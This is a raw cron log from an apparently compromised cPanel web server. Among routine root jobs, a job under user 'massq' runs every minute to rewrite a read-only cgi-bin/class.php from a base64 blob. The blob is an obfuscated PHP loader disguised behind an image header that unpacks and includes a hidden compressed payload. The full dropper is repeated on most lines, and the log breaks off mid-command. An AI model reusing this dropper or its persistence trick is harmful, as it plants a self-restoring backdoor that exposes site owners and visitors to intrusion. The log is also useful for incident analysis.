Nov 12 03:12:01 server CROND[26569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:12:01 server CROND[26570]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 03:13:01 server CROND[27365]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:14:01 server CROND[28180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:15:01 server CROND[29095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:15:01 server CROND[29096]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:15:01 server CROND[29097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:16:01 server CROND[29979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:17:01 server CROND[30737]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:18:01 server CROND[31772]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:19:01 server CROND[32587]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:20:01 server CROND[1107]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 03:20:01 server CROND[1109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:20:01 server CROND[1108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 03:20:01 server CROND[1110]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:20:01 server CROND[1116]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:21:01 server CROND[1746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:22:01 server CROND[2581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:23:01 server CROND[3407]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:24:01 server CROND[4202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:25:01 server CROND[5119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 